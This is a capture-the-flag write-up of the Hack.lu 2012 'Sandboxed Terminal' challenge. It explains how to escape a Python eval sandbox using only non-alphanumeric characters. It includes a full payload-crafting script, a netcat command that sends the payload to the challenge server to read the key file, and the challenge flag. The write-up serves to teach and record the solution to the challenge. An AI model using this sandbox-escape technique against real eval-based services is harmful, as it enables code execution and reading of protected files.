Hack.lu CTF 2012: The Sandboxed Terminal (400 points)
Since the zombie apocalypse started people did not stop to ask themselves
how the whole thing began. An abandoned military base may lead to answers
but after infiltrating the facility you find yourself in front of a solid
steel door with a computer attached. Luckily this terminal seems to connect
to a Python service on a remote server to reduce load on the small
computer. While your team managed to steal the source, they need your
Python expertise to hack this service and get the masterkey which should be
stored in a file called key.
https://ctf.fluxfingers.net:2076/c7238e81667a085963829e452223b47b/sandbox.py
credits: 400 +3 (1st), +2 (2nd), +1 (3rd)
The sandbox source file contains the port number to connect to the terminal. A
sessions prompts two numbers and an “operator”. These inputs are checked
against regular expressions: ^[\d]{0,4}$
for the numbers and ^[\W]+$
for
the operator (and it must not exceed 1899 bytes). If each matches, then if the
operator contains a single quote ('
) the operator is replaced by
eval(operator)
. Then, eval(number1 + operator + number2)
is computer and
printed.
Before all of this, some code wraps builtins in order to prevent imports and
uses of open
and file
.
Our way to display the content of the key
file was first to find a mean to
evaluate alphanumerical code from the operator
, and then to bypass the
sandbox. The second part was the most easy: open.orig
gives access to the
original open
builtin, thus executing open.orig('key').read()
was enough to
reach the key.
Finding a way to craft alphanumerical caracters from the operator was far more
difficult. The first thing to notice was that ()!=()
(which evaluates to
False
) can be used as the number 0, and ()==()
(which evaluates to True
)
can be used as the number 1. From this, one can craft all possible numbers.
Then, it is possible to take a minimal character set using Python’s backtick
notation to get the string representation of an expression: `()==()`
yields 'True'
. With non-printable ASCII chars, hexadecimal characters were
available after one eval
:
>>> eval('`"\xfe"`[(()==())<<(()==())<<(()==())]')
'e'
When the global eval
is used, the given expression is evaluated from code
inside the sandbox method, in which self
is the wapper of eval
itself!
Thus, evaluating eval('self("0x41")')
will return the content of the a
variable.
Using all these principles, it is possible to execute our code using 3 eval stages:
- first, the remote sandboxed terminal receives our bytes: numbers are empty,
and the
operator
contains our payload. The payload contains at least one single quote and theoperator
is evaluated once. With the previous tricks, one can craftself("...hexadecimally escaped bytes...")
- then, the second
eval
evaluatesself(...)
which is equivalent toeval("...escaped bytes..")
, and since we master completely the escaped bytes, and that these bytes can cover the full byte range, we can do everything!
Thus, we crafted the payload using the following script:
def get_num(n):
'''Return a non-alphanum expression that evaluates to the given number.'''
if n == 0:
return '[]==()'
elif n == 1:
return '[]!=()'
else:
return '+'.join('([]!=())' for i in range(n))
# Craft "self(""
result = ''.join((
'`{()==()}`[()==[]]+', # 's'
'`"\xfe"`[%s]+' % get_num(4), # 'e'
'`()==[]`[%s]+' % get_num(2), # 'l'
'`"\xff"`[%s]+' % get_num(4), # 'f'
'"(\\""+' # '("'
))
# Turn the wanted expression into a string of hexadecimally escaped bytes.
result += '`\''
for c in 'open.orig("key").read()':
o = ord(c)
hi = 0xf0 | (o >> 4)
lo = 0xf0 | (o & 0x0f)
result += '\x01.\x01'
result += chr(hi) + '..'
result += chr(lo) + '.....'
result += '\'`[%s:-(%s):%s]+' % (get_num(1), get_num(1), get_num(6))
# Craft "\")"
result += '"\\\")"'
# Simulate the sandboxed environment.
class Wrapper:
pass
self=eval
open_orig = open
open = Wrapper()
open.orig = open_orig
# Print results to stderr for debugging
import sys
print >> sys.stderr, '%s bytes: %s' % (len(result), repr(result))
print >> sys.stderr, '--> %s' % repr(eval(result))
print >> sys.stderr, '--> %s' % repr(eval(eval(result)))
print ''
print ''
print result
Finally, we send the payload to the service:
python2 craft_payload.py | nc ctf.fluxfingers.net 2060
Key: dafuq_how_did_you_solve_this_nonalpha_thingy
.